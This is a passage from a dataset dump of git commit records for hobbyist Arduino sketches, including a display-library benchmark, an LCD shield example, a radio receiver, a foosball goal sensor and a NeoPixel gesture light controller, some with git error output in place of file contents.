display(4);\r\n#endif\r\n\r\n#elif U8G2_TEST(1)\r\n#include <U8g2lib.h>\r\n#ifdef U8X8_HAVE_HW_SPI\r\n#include <SPI.h>\r\n#endif\r\n#ifdef U8X8_HAVE_HW_I2C\r\n#include <Wire.h>\r\n#endif\r\n#if TEST_INTERFACE == TEST_SPI\r\nU8G2_SSD1306_128X64_NONAME_F_4W_HW_SPI u8g2(U8G2_R0, \/* cs=*\/ 4, \/* dc=*\/ 5, \/* reset=*\/ 3);\r\n#elif TEST_INTERFACE == TEST_I2C\r\nU8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2(U8G2_R0, \/* reset=*\/ U8X8_PIN_NONE);\r\n#endif\r\n\r\n#endif\r\n\r\ntypedef struct\r\n{\r\n const char *name;\r\n void (*run)(void);\r\n uint32_t result;\r\n} TestInfo;\r\n\r\nvoid benchmark(TestInfo *test)\r\n{\r\n uint32_t start = micros();\r\n uint32_t end;\r\n for (uint8_t i=0; i<8; i++)\r\n {\r\n test->run();\r\n }\r\n end = micros();\r\n test->result = ((uint32_t)(end - start))\/8;\r\n}\r\n\r\nconst char clearScreen[] PROGMEM = \"clearScreen\";\r\nconst char drawRect[] PROGMEM = \"drawRect\";\r\nconst char sendBuffer[] PROGMEM = \"sendBuffer\";\r\nconst char drawText[] PROGMEM = \"drawText\";\r\nconst char drawText2x[] PROGMEM = \"drawText 2x\";\r\n\r\n\r\nvoid doClearScreen()\r\n{\r\n SSD1306_DIRECT_TEST (ssd1306_clearScreen());\r\n SSD1306_GFX_TEST (display.clear());\r\n SSD1306_ENGINE_TEST (display.clear());\r\n ADAFRUIT_TEST (display.clearDisplay());\r\n U8G2_TEST (u8g2.clearBuffer());\r\n}\r\n\r\nvoid doSendBuffer()\r\n{\r\n SSD1306_DIRECT_TEST (); \/\/ not applicable\r\n SSD1306_GFX_TEST (display.blt(0,0));\r\n SSD1306_ENGINE_TEST (display.blt());\r\n ADAFRUIT_TEST (display.display());\r\n U8G2_TEST (u8g2.sendBuffer());\r\n}\r\n\r\nvoid drawRect32x32()\r\n{\r\n SSD1306_DIRECT_TEST (ssd1306_drawRect(16,16,48,48));\r\n SSD1306_GFX_TEST (display.drawRect(16,16,48,48));\r\n SSD1306_ENGINE_TEST (display.drawRect(16,16,48,48));\r\n ADAFRUIT_TEST (display.drawRect(16,16,32,32,WHITE));\r\n U8G2_TEST (u8g2.drawFrame(16,16,32,32));\r\n}\r\n\r\nvoid drawTextHello()\r\n{\r\n SSD1306_DIRECT_TEST (ssd1306_printFixed(0,0,\"Hello, world!\", STYLE_NORMAL));\r\n SSD1306_GFX_TEST (display.printFixed(0,0,\"Hello, world!\"));\r\n SSD1306_ENGINE_TEST (display.printFixed(0,0,\"Hello, world!\"));\r\n ADAFRUIT_TEST (display.setCursor(0,0);\r\n display.print(\"Hello, world!\"));\r\n U8G2_TEST (u8g2.setFont(u8g2_font_5x8_tr);\r\n u8g2.drawStr(0,10,\"Hello, world!\"));\r\n}\r\n\r\nvoid drawTextHello2x()\r\n{\r\n SSD1306_DIRECT_TEST (ssd1306_printFixedN(0,0,\"Hello, world!\", STYLE_NORMAL, FONT_SIZE_2X));\r\n SSD1306_GFX_TEST (display.printFixed2x(0,0,\"Hello, world!\"));\r\n SSD1306_ENGINE_TEST ();\/\/ not supported\r\n ADAFRUIT_TEST (display.setTextSize(2);\r\n display.setCursor(0,0);\r\n display.print(\"Hello, world!\"));\r\n U8G2_TEST ();\/\/ not supported\r\n}\r\n\r\nTestInfo tests[] =\r\n{\r\n {\r\n .name = clearScreen,\r\n .run = doClearScreen,\r\n },\r\n {\r\n .name = sendBuffer,\r\n .run = doSendBuffer,\r\n },\r\n {\r\n .name = drawRect,\r\n .run = drawRect32x32,\r\n },\r\n {\r\n .name = drawText2x,\r\n .run = drawTextHello2x,\r\n },\r\n {\r\n .name = drawText,\r\n .run = drawTextHello,\r\n },\r\n};\r\n\r\nvoid initLcd()\r\n{\r\n #if (SSD1306_DIRECT_TEST(1)) || (SSD1306_ENGINE_TEST(1)) || (SSD1306_GFX_TEST(1))\r\n \/* Replace the line below with ssd1306_128x32_i2c_init() if you need to use 128x32 display *\/\r\n #if (TEST_INTERFACE == TEST_SPI)\r\n ssd1306_128x64_spi_init(3,4,5);\r\n\/\/ ssd1351_128x128_spi_init(3,4,5);\r\n #elif (TEST_INTERFACE == TEST_I2C)\r\n ssd1306_128x64_i2c_init();\r\n #endif\r\n ssd1306_setFixedFont(ssd1306xled_font6x8);\r\n #endif\r\n ADAFRUIT_TEST (display.begin(SSD1306_SWITCHCAPVCC, 0x3C);\r\n display.clearDisplay();\r\n display.setTextSize(1);\r\n display.setTextColor(WHITE));\r\n U8G2_TEST (u8g2.begin();\r\n u8g2.setFont(u8g2_font_5x8_tr));\r\n}\r\n\r\nvoid setup()\r\n{\r\n Serial.begin(115200);\r\n initLcd();\r\n for (uint8_t i=0; i<sizeof(tests)\/sizeof(TestInfo); i++)\r\n {\r\n SSD1306_DIRECT_TEST (ssd1306_clearScreen());\r\n SSD1306_GFX_TEST (ssd1306_clearScreen();\r\n display.clear());\r\n SSD1306_ENGINE_TEST (ssd1306_clearScreen();\r\n display.clear());\r\n ADAFRUIT_TEST (display.clearDisplay());\r\n U8G2_TEST (u8g2.clearBuffer());\r\n benchmark(&tests[i]);\r\n const char *p = tests[i].name;\r\n while (pgm_read_byte(p))\r\n {\r\n Serial.print((char)pgm_read_byte(p++));\r\n }\r\n Serial.print(\": \");\r\n Serial.print(tests[i].result);\r\n Serial.println(\"us\");\r\n doSendBuffer();\r\n delay(2000);\r\n }\r\n\r\n doSendBuffer();\r\n}\r\n\r\n\r\nvoid loop()\r\n{\r\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/benchmark\/benchmark.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8343e9f3d4d5e482617830ff696d6660b3a8442a","subject":"new .ino example!","message":"new .ino example!\n","repos":"hunternlarson\/Adafruit-RGB-LCD-Shield-Library,adafruit\/Adafruit-RGB-LCD-Shield-Library","old_file":"examples\/HelloWorld\/HelloWorld.ino","new_file":"examples\/HelloWorld\/HelloWorld.ino","new_contents":"\/*********************\n\nExample code for the Adafruit RGB Character LCD Shield and Library\n\nThis code displays text on the shield, and also reads the buttons on the keypad.\nWhen a button is pressed, the backlight changes color.\n\n**********************\/\n\n\/\/ include the library code:\n#include <Wire.h>\n#include <utility\/Adafruit_MCP23017.h>\n#include <Adafruit_RGBLCDShield.h>\n\n\/\/ The shield uses the I2C SCL and SDA pins. On classic Arduinos\n\/\/ this is Analog 4 and 5 so you can't use those for analogRead() anymore\n\/\/ However, you can connect other I2C sensors to the I2C bus and share\n\/\/ the I2C bus.\nAdafruit_RGBLCDShield lcd = Adafruit_RGBLCDShield();\n\n\/\/ These #defines make it easy to set the backlight color\n#define RED 0x1\n#define YELLOW 0x3\n#define GREEN 0x2\n#define TEAL 0x6\n#define BLUE 0x4\n#define VIOLET 0x5\n#define WHITE 0x7\n\nvoid setup() {\n \/\/ Debugging output\n Serial.begin(9600);\n \/\/ set up the LCD's number of columns and rows: \n lcd.begin(16, 2);\n\n \/\/ Print a message to the LCD. We track how long it takes since\n \/\/ this library has been optimized a bit and we're proud of it :)\n int time = millis();\n lcd.print(\"Hello, world!\");\n time = millis() - time;\n Serial.print(\"Took \"); Serial.print(time); Serial.println(\" ms\");\n lcd.setBacklight(WHITE);\n}\n\nuint8_t i=0;\nvoid loop() {\n \/\/ set the cursor to column 0, line 1\n \/\/ (note: line 1 is the second row, since counting begins with 0):\n lcd.setCursor(0, 1);\n \/\/ print the number of seconds since reset:\n lcd.print(millis()\/1000);\n\n uint8_t buttons = lcd.readButtons();\n\n if (buttons) {\n lcd.clear();\n lcd.setCursor(0,0);\n if (buttons & BUTTON_UP) {\n lcd.print(\"UP \");\n lcd.setBacklight(RED);\n }\n if (buttons & BUTTON_DOWN) {\n lcd.print(\"DOWN \");\n lcd.setBacklight(YELLOW);\n }\n if (buttons & BUTTON_LEFT) {\n lcd.print(\"LEFT \");\n lcd.setBacklight(GREEN);\n }\n if (buttons & BUTTON_RIGHT) {\n lcd.print(\"RIGHT \");\n lcd.setBacklight(TEAL);\n }\n if (buttons & BUTTON_SELECT) {\n lcd.print(\"SELECT \");\n lcd.setBacklight(VIOLET);\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/HelloWorld\/HelloWorld.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"e3a4e2c6b37dbca474501caa19464acbc2d4580b","subject":"recieves broadcasts from sensors","message":"recieves broadcasts from sensors\n","repos":"Br3nda\/arduino_receiver_sensor_stations","old_file":"receiver_sensor_stations.ino","new_file":"receiver_sensor_stations.ino","new_contents":"#include <VirtualWire.h>\n\nconst int led_pin = 13;\n\/\/const int transmit_pin = 1;\n\/\/const int receive_pin = 2;\nconst int receive_pin = 2;\n\/\/const int transmit_en_pin = 3;\n\nvoid setup()\n{\n Serial.begin(115200);\t\/\/ Debugging only\n Serial.println(\"Starting receiver\");\n \n vw_set_rx_pin(receive_pin);\n vw_set_ptt_inverted(true); \/\/ Required for DR3100\n vw_setup(500);\t \/\/ Bits per sec\n vw_rx_start(); \/\/ Start the receiver PLL running\n pinMode(led_pin, OUTPUT);\n}\n\nvoid loop()\n{\n uint8_t buf[VW_MAX_MESSAGE_LEN];\n uint8_t buflen = VW_MAX_MESSAGE_LEN;\n\n if (vw_get_message(buf, &buflen)) \/\/ Non-blocking\n {\n \/\/ Flash a light to show received good message\n digitalWrite(led_pin, HIGH); \n for (int i = 0; i < buflen; i++) {\n Serial.print((char)buf[i]);\n }\n Serial.println();\n \n digitalWrite(led_pin, LOW);\n }\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"c0dfd6be81bd7f7856ac397cfddf2d2cd4d48c46","subject":"Move print into loop","message":"Move print into loop\n","repos":"jaredkotoff\/CSUFIEEECS","old_file":"arduino_101\/arduino_101.ino","new_file":"arduino_101\/arduino_101.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jaredkotoff\/CSUFIEEECS.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"198820bd84e7ac87a76d958f0913618c64da8456","subject":"arduino thing for the stuff","message":"arduino thing for the stuff\n","repos":"hot-foos\/fooshot","old_file":"hotfoos_arduino.ino","new_file":"hotfoos_arduino.ino","new_contents":"#include <Arduino.h>\n\nconst int blck = 1;\nconst int yllw = 0;\nconst int endTime = 2000;\nint i = 0;\nint blackIntens1 = 0;\nint yellowIntens1 = 0;\nint yellowDiff = 0;\nint blackDiff = 0;\nint YellowScore = 0;\nint BlackScore = 0;\n\n\nvoid setup(){\n Serial.begin(9600);\n\n int time = 0;\n long bTotal = 0;\n long yTotal = 0;\n\n Serial.println(\"Calibrating Please Wait\");\n while (time <= endTime)\n {\n \/\/read from light sensors\n blackIntens1 = analogRead(blck);\n yellowIntens1 = analogRead(yllw);\n\n \/\/get highest value\n if( yellowIntens1 > yellowDiff)\n {\n yellowDiff = yellowIntens1;\n }\n \/\/get highest value\n if(blackIntens1 > blackDiff)\n {\n blackDiff = blackIntens1; \n }\n \n \/\/add up all values from light sensor\n bTotal += blackIntens1;\n yTotal += yellowIntens1;\n \n\/\/ if(time % 10) {\n\/\/ Serial.println(blackIntens1);\n\/\/ Serial.println(yellowIntens1); \n\/\/ }\n\/\/ \n \n time++;\n delay(10);\n }\n \/\/get average light sensor reading\n blackIntens1 = bTotal\/endTime;\n yellowIntens1 = yTotal\/endTime;\n \n \/\/get max difference to be used as error\n blackDiff = blackDiff - blackIntens1;\n yellowDiff = yellowDiff - yellowIntens1;\n\n Serial.println(\"Done Calibrating\");\n Serial.print(\"Black: \");\n Serial.println(blackIntens1);\n Serial.println(blackDiff);\n Serial.print(\"Yellow: \");\n Serial.println(yellowIntens1);\n Serial.println(yellowDiff);\n}\n\nvoid loop(){\n\n int black, yellow;\n\n \/\/read from light sensor\n black = analogRead(blck); \/\/ will be 0-1023\n yellow = analogRead(yllw);\n\n \/\/check if input is darker than average plus error\n if (black > (blackIntens1 + blackDiff)){\n Serial.println(\"Goal Scored on black\");\n Serial.println(black);\n \/\/Serial.println(\"goal tracking\");\n \/\/i++;\n \/\/Serial.println(i);\n BlackScore++;\n delay(5000);\n }\n \/\/check if input is darker than average plus error\n else if (yellow > (yellowIntens1 + yellowDiff)){\n Serial.println(\"Goal Scored on yellow\");\n Serial.println(yellow);\n \/\/Serial.println(\"goal tracking\");\n \/\/i++;\n \/\/Serial.println(i);\n YellowScore++;\n delay(5000);\n }\n \n Serial.println(\"Score Yello v Black \");\n Serial.print(YellowScore);\n Serial.print(\" \");\n Serial.println(BlackScore);\n \n if(YellowScore >=5 || BlackScore >= 5)\n {\n Serial.println(\"Game Over! Good Game!\");\n }\n\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hotfoos_arduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ff78ae5bf4cfe5be6ac629fdf4547e69a30b81f0","subject":"Added VOLUME UP\/DOWN options","message":"Added VOLUME UP\/DOWN options\n\nPress the PUSH1\/PUSH2 button to increase\/decrease the volume with 1 unit\n","repos":"Mastergalen\/RPlayr","old_file":"remote\/remote.ino","new_file":"remote\/remote.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Mastergalen\/RPlayr.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"34b284045604daa9ceeed9137d4ec9621d959dc2","subject":"Added photo resistor.","message":"Added photo resistor.\n","repos":"higepon\/Spark-Core-Examples,higepon\/Spark-Core-Examples","old_file":"5.Photo Resistor.ino","new_file":"5.Photo Resistor.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec '5.Photo' did not match any file(s) known to git\nerror: pathspec 'Resistor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e3393a2473e3dbcea25c4efd7b3a7b20fbcc9cf6","subject":"Updated Post Flight","message":"Updated Post Flight\n","repos":"Newark-Catholic-Robotics-Club\/Newark-Catholic-Atmospheric-Exploration-Project,Newark-Catholic-Robotics-Club\/Newark-Catholic-Atmospheric-Exploration-Project","old_file":"Data Logging\/Data-Logging-Main\/Data-Logging-Main.ino","new_file":"Data Logging\/Data-Logging-Main\/Data-Logging-Main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Data' did not match any file(s) known to git\nerror: pathspec 'Logging\/Data-Logging-Main\/Data-Logging-Main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5601a8dd902adafa407f54afa7d2044464d1bb8b","subject":"week 5 hw","message":"week 5 hw\n","repos":"rsfarkas\/farkr005_cclab2016,rsfarkas\/farkr005_cclab2016,rsfarkas\/farkr005_cclab2016,rsfarkas\/farkr005_cclab2016,rsfarkas\/farkr005_cclab2016","old_file":"week5\/TemperatureSwitch\/TemperatureSwitch.ino","new_file":"week5\/TemperatureSwitch\/TemperatureSwitch.ino","new_contents":"#define aref_voltage 3.3\n \n\/\/TMP36 Pin Variables\nint tempPin = 1; \nint tempRead; \n\nint hotLed = 13;\nint coolLed = 5;\n\nvoid setup(void) {\n \/\/ We'll send debugging information via the Serial monitor\n Serial.begin(9600); \n\n pinMode(hotLed, OUTPUT);\n pinMode (coolLed, OUTPUT);\n}\n \n \nvoid loop(void) {\n \n tempRead = analogRead(tempPin); \n \n float voltage = tempRead * aref_voltage;\n voltage \/= 1024.0; \n \n float temperatureC = (voltage - 0.5) * 100 ; \n \n float temperatureF = (temperatureC * 9.0 \/ 5.0) + 32.0;\n Serial.print(temperatureF); Serial.println(\" degrees F\");\n\n if(temperatureF < 117){\n digitalWrite(coolLed, HIGH);\n digitalWrite(hotLed, LOW);\n Serial.print(\"cool temp is: \");\n } else{\n digitalWrite(hotLed, HIGH);\n digitalWrite(coolLed, LOW);\n Serial.print(\"hot temp is: \");\n }\n \n delay(1000);\n\n}\n\n\/* link to video is:https:\/\/vimeo.com\/185075359 *\/ \n\n\/* http:\/\/www.ladyada.net\/make\/logshield\/lighttemp.html *\/\n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'week5\/TemperatureSwitch\/TemperatureSwitch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0a889131c819fcfeeb729fb7417275dbe184929c","subject":"ping_zx_bartart.ino","message":"ping_zx_bartart.ino\n","repos":"neilliner\/BartArt-Arduino,neilliner\/iot_final,neilliner\/BartArt-Arduino,neilliner\/iot_final","old_file":"ping_zx_bartart.ino","new_file":"ping_zx_bartart.ino","new_contents":"#include <Wire.h>\n#include <ZX_Sensor.h>\n\/\/#include <NewPing.h>\n#include <Adafruit_NeoPixel.h>\n#ifdef __AVR__\n #include <avr\/power.h>\n#endif\n\n\/\/ Constants\nconst int ZX_ADDR = 0x10; \/\/ ZX Sensor I2C address\n\n\/\/ Global Variables\nZX_Sensor zx_sensor = ZX_Sensor(ZX_ADDR);\nuint8_t x_pos;\nuint8_t z_pos;\n\n\/\/int potPin = A0; \/\/ potentiometer\n\/\/int potVal = 0;\n\n#define TRIGGER_PIN 12 \/\/ Arduino pin tied to trigger pin on the ultrasonic sensor.\n#define ECHO_PIN 11 \/\/ Arduino pin tied to echo pin on the ultrasonic sensor.\n#define MAX_DISTANCE 200 \/\/ Maximum distance we want to ping for (in centimeters). Maximum sensor distance is rated at 400-500cm.\n\n#define P1 3\n#define P2 4\n#define P3 5\n#define P4 6\n#define P5 7\n#define P6 8\n#define P7 9\n#define NUMPIXELS 1\n\nAdafruit_NeoPixel px1 = Adafruit_NeoPixel(NUMPIXELS, P1, NEO_GRB + NEO_KHZ800);\nAdafruit_NeoPixel px2 = Adafruit_NeoPixel(NUMPIXELS, P2, NEO_GRB + NEO_KHZ800);\nAdafruit_NeoPixel px3 = Adafruit_NeoPixel(NUMPIXELS, P3, NEO_GRB + NEO_KHZ800);\nAdafruit_NeoPixel px4 = Adafruit_NeoPixel(NUMPIXELS, P4, NEO_GRB + NEO_KHZ800);\nAdafruit_NeoPixel px5 = Adafruit_NeoPixel(NUMPIXELS, P5, NEO_GRB + NEO_KHZ800);\nAdafruit_NeoPixel px6 = Adafruit_NeoPixel(NUMPIXELS, P6, NEO_GRB + NEO_KHZ800);\nAdafruit_NeoPixel px7 = Adafruit_NeoPixel(NUMPIXELS, P7, NEO_GRB + NEO_KHZ800);\n\n\/\/NewPing sonar(TRIGGER_PIN, ECHO_PIN, MAX_DISTANCE); \/\/ NewPing setup of pins and maximum distance.\nint x;\nint z;\nint p1b = 1;\nint p2b = 1;\nint p3b = 1;\nint p4b = 1;\nint p5b = 1;\nint p6b = 1;\nint p7b = 1;\n\n\nvoid setup() {\n \n Serial.begin(115200); \/\/ Open serial monitor at 115200 baud to see ping results.\n zx_sensor.init();\n \/*\n uint8_t ver; \n\n if ( zx_sensor.init() ) {\n Serial.println(\"ZX Sensor initialization complete\");\n } else {\n Serial.println(\"Something went wrong during ZX Sensor init!\");\n }\n\n ver = zx_sensor.getModelVersion();\n if ( ver == ZX_ERROR ) {\n Serial.println(\"Error reading model version number\");\n } else {\n Serial.print(\"Model version: \");\n Serial.println(ver);\n }\n if ( ver != ZX_MODEL_VER ) {\n Serial.print(\"Model version needs to be \");\n Serial.print(ZX_MODEL_VER);\n Serial.print(\" to work with this library. Stopping.\");\n while(1);\n }\n \n \/\/ Read the register map version and ensure the library will work\n ver = zx_sensor.getRegMapVersion();\n if ( ver == ZX_ERROR ) {\n Serial.println(\"Error reading register map version number\");\n } else {\n Serial.print(\"Register Map Version: \");\n Serial.println(ver);\n }\n if ( ver != ZX_REG_MAP_VER ) {\n Serial.print(\"Register map version needs to be \");\n Serial.print(ZX_REG_MAP_VER);\n Serial.print(\" to work with this library. Stopping.\");\n while(1);\n }\n *\/\n \/\/ This is for Trinket 5V 16MHz, you can remove these three lines if you are not using a Trinket\n#if defined (__AVR_ATtiny85__)\n if (F_CPU == 16000000) clock_prescale_set(clock_div_1);\n#endif\n \/\/ End of trinket special code\n\n px1.begin(); \/\/ This initializes the NeoPixel library.\n px2.begin();\n px3.begin();\n px4.begin();\n px5.begin();\n px6.begin();\n px7.begin();\n}\n\nvoid loop() {\n\n \/\/ send data via serialport\n \/\/ using substring and delimiter\n\/\/ if(sonar.ping_cm()){\n\/\/ Serial.print(\"{\\\"ping\\\":\");\n\/\/ Serial.print(sonar.ping_cm());\n\/\/ Serial.println(\"}\");\n\/\/ }\n if ( zx_sensor.positionAvailable() ) {\n x_pos = zx_sensor.readX();\n if ( x_pos != ZX_ERROR ) {\n Serial.print(\"{\\\"x\\\":\");\n Serial.print(x_pos);\n Serial.println(\"}\");\n x = x_pos;\n }\n z_pos = zx_sensor.readZ();\n if ( z_pos != ZX_ERROR ) {\n Serial.print(\"{\\\"z\\\":\");\n Serial.print(z_pos);\n Serial.println(\"}\");\n z = z_pos;\n }\n }\n\/\/ potVal = analogRead(potPin);\n\/\/ Serial.println(potVal); \n\n\/* \n delay(50); \/\/ Wait 50ms between pings (about 20 pings\/sec). 29ms should be the shortest delay between pings.\n Serial.print(\"Ping: \");\n Serial.print(sonar.ping_cm()); \/\/ Send ping, get distance in cm and print result (0 = outside set distance range)\n Serial.println(\"cm\");\n\n \/\/ If there is position data available, read and print it\n if ( zx_sensor.positionAvailable() ) {\n x_pos = zx_sensor.readX();\n if ( x_pos != ZX_ERROR ) {\n Serial.print(\"X: \");\n Serial.print(x_pos);\n Serial.print(\"Ping: \");\n Serial.println(sonar.ping_cm());\n }\n z_pos = zx_sensor.readZ();\n if ( z_pos != ZX_ERROR ) {\n Serial.print(\" Z: \");\n Serial.println(z_pos);\n }\n }\n*\/\n \/\/ For a set of NeoPixels the first NeoPixel is 0, second is 1, all the way up to the count of pixels minus one.\n \/\/for(int i=0;i<NUMPIXELS;i++){\n \n \/\/ pixels.Color takes RGB values, from 0,0,0 up to 255,255,255\n px1.setPixelColor(0, px1.Color(255,0,255)); \/\/ magenta\n px1.show();\n \/\/px1.setBrightness(0);\n px2.setPixelColor(0, px2.Color(0,0,255)); \/\/ blue\n px2.show();\n \/\/px2.setBrightness(0);\n px3.setPixelColor(0, px3.Color(0,125,255)); \/\/ ocean\n px3.show();\n \/\/px3.setBrightness(0);\n px4.setPixelColor(0, px4.Color(0,255,125)); \/\/ turquoise\n px4.show();\n \/\/px4.setBrightness(0);\n px5.setPixelColor(0, px5.Color(0,255,0)); \/\/ green\n px5.show();\n \/\/px5.setBrightness(0);\n px6.setPixelColor(0, px6.Color(255,255,0)); \/\/ yellow\n px6.show();\n \/\/px6.setBrightness(0);\n px7.setPixelColor(0, px7.Color(255,0,0)); \/\/ red\n px7.show();\n \/\/px7.setBrightness(0);\n if(z < 30){\n p1b++; \/\/= 64;\n p2b++; \/\/= 64;\n p3b++; \/\/= 64;\n p4b++; \/\/= 64;\n p5b++; \/\/= 64;\n p6b++; \/\/= 64;\n p7b++; \/\/= 64;\n px7.setBrightness(p7b);\n px7.show();\n px6.setBrightness(p6b);\n px6.show();\n px5.setBrightness(p5b);\n px5.show();\n px4.setBrightness(p4b);\n px4.show();\n px3.setBrightness(p3b);\n px3.show();\n px2.setBrightness(p2b);\n px2.show();\n px1.setBrightness(p1b);\n px1.show();\n }\n else{\n if(x < 34){\n p1b = 0;\n p2b = 0;\n p3b = 0;\n p4b = 0;\n p5b = 0;\n p6b = 16;\n p7b = 64;\n px7.setBrightness(p7b);\n px7.show();\n px6.setBrightness(p6b);\n px6.show();\n px5.setBrightness(p5b);\n px5.show();\n px4.setBrightness(p4b);\n px4.show();\n px3.setBrightness(p3b);\n px3.show();\n px2.setBrightness(p2b);\n px2.show();\n px1.setBrightness(p1b);\n px1.show();\n }\n else if(x < 68){\n p1b = 0;\n p2b = 0;\n p3b = 0;\n p4b = 0;\n p5b = 16;\n p6b = 64;\n p7b = 16;\n px7.setBrightness(p7b);\n px7.show();\n px6.setBrightness(p6b);\n px6.show();\n px5.setBrightness(p5b);\n px5.show();\n px4.setBrightness(p4b);\n px4.show();\n px3.setBrightness(p3b);\n px3.show();\n px2.setBrightness(p2b);\n px2.show();\n px1.setBrightness(p1b);\n px1.show();\n }\n else if(x < 102){\n p1b = 0;\n p2b = 0;\n p3b = 0;\n p4b = 16;\n p5b = 64;\n p6b = 16;\n p7b = 0;\n px7.setBrightness(p7b);\n px7.show();\n px6.setBrightness(p6b);\n px6.show();\n px5.setBrightness(p5b);\n px5.show();\n px4.setBrightness(p4b);\n px4.show();\n px3.setBrightness(p3b);\n px3.show();\n px2.setBrightness(p2b);\n px2.show();\n px1.setBrightness(p1b);\n px1.show();\n }\n else if(x < 136){\n p1b = 0;\n p2b = 0;\n p3b = 16;\n p4b = 64;\n p5b = 16;\n p6b = 0;\n p7b = 0;\n px7.setBrightness(p7b);\n px7.show();\n px6.setBrightness(p6b);\n px6.show();\n px5.setBrightness(p5b);\n px5.show();\n px4.setBrightness(p4b);\n px4.show();\n px3.setBrightness(p3b);\n px3.show();\n px2.setBrightness(p2b);\n px2.show();\n px1.setBrightness(p1b);\n px1.show();\n }\n else if(x < 171){\n p1b = 0;\n p2b = 16;\n p3b = 64;\n p4b = 16;\n p5b = 0;\n p6b = 0;\n p7b = 0;\n px7.setBrightness(p7b);\n px7.show();\n px6.setBrightness(p6b);\n px6.show();\n px5.setBrightness(p5b);\n px5.show();\n px4.setBrightness(p4b);\n px4.show();\n px3.setBrightness(p3b);\n px3.show();\n px2.setBrightness(p2b);\n px2.show();\n px1.setBrightness(p1b);\n px1.show();\n }\n else if(x < 205){\n p1b = 16;\n p2b = 64;\n p3b = 16;\n p4b = 0;\n p5b = 0;\n p6b = 0;\n p7b = 0;\n px7.setBrightness(p7b);\n px7.show();\n px6.setBrightness(p6b);\n px6.show();\n px5.setBrightness(p5b);\n px5.show();\n px4.setBrightness(p4b);\n px4.show();\n px3.setBrightness(p3b);\n px3.show();\n px2.setBrightness(p2b);\n px2.show();\n px1.setBrightness(p1b);\n px1.show();\n }\n else{\n p1b = 64;\n p2b = 16;\n p3b = 0;\n p4b = 0;\n p5b = 0;\n p6b = 0;\n p7b = 0;\n px7.setBrightness(p7b);\n px7.show();\n px6.setBrightness(p6b);\n px6.show();\n px5.setBrightness(p5b);\n px5.show();\n px4.setBrightness(p4b);\n px4.show();\n px3.setBrightness(p3b);\n px3.show();\n px2.setBrightness(p2b);\n px2.show();\n px1.setBrightness(p1b);\n px1.show();\n }\n\/\/ if(p1b <= 1){\n\/\/ p1b = 0; \n\/\/ }\n\/\/ else if(p1b >= 63){\n\/\/ p1b = 64;\n\/\/ }\n\/\/ if(p2b <= 1){\n\/\/ p2b = 0; \n\/\/ }\n\/\/ else if(p2b >= 63){\n\/\/ p2b = 64;\n\/\/ }\n\/\/ if(p3b <= 1){\n\/\/ p3b = 0; \n\/\/ }\n\/\/ else if(p3b >= 63){\n\/\/ p3b = 64;\n\/\/ }\n\/\/ if(p4b <= 1){\n\/\/ p4b = 0; \n\/\/ }\n\/\/ else if(p4b >= 63){\n\/\/ p4b = 64;\n\/\/ }\n\/\/ if(p5b <= 1){\n\/\/ p5b = 0; \n\/\/ }\n\/\/ else if(p5b >= 63){\n\/\/ p5b = 64;\n\/\/ }\n\/\/ if(p6b <= 1){\n\/\/ p6b = 0; \n\/\/ }\n\/\/ else if(p6b >= 63){\n\/\/ p6b = 64;\n\/\/ }\n\/\/ if(p7b <= 1){\n\/\/ p7b = 0; \n\/\/ }\n\/\/ else if(p7b >= 63){\n\/\/ p7b = 64;\n\/\/ }\n }\n \/\/}\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ping_zx_bartart.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2d79a2f467976b1fe5eb4e1647a74381179cbb05","subject":"added compass","message":"added compass\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"erikson-1\/erikson-1.ino","new_file":"erikson-1\/erikson-1.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"556ccb4efc5bbc6c0b026f2c24de04497cf7f6af","subject":"initial commit","message":"initial commit\n","repos":"matthewbstokes\/robo-arm","old_file":"roboarm\/roboarm.ino","new_file":"roboarm\/roboarm.ino","new_contents":"const unsigned int C = 7;\nconst unsigned int B = 4;\nconst unsigned int A = 2;\nconst unsigned int POTS = A0;\nconst unsigned int NUM_JOINTS = 5;\nconst float J0 = 170\/2;\nconst float J1 = 170\/2;\nconst float J2 = 170\/2;\nconst float J3 = 170\/2;\nconst float J4 = 45\/2;\n\nconst float P0_LOWER = 0;\nconst float P0_UPPER = 0;\nconst float P1_LOWER = 140;\nconst float P1_UPPER = 600;\nconst float P2_LOWER = 50;\nconst float P2_UPPER = 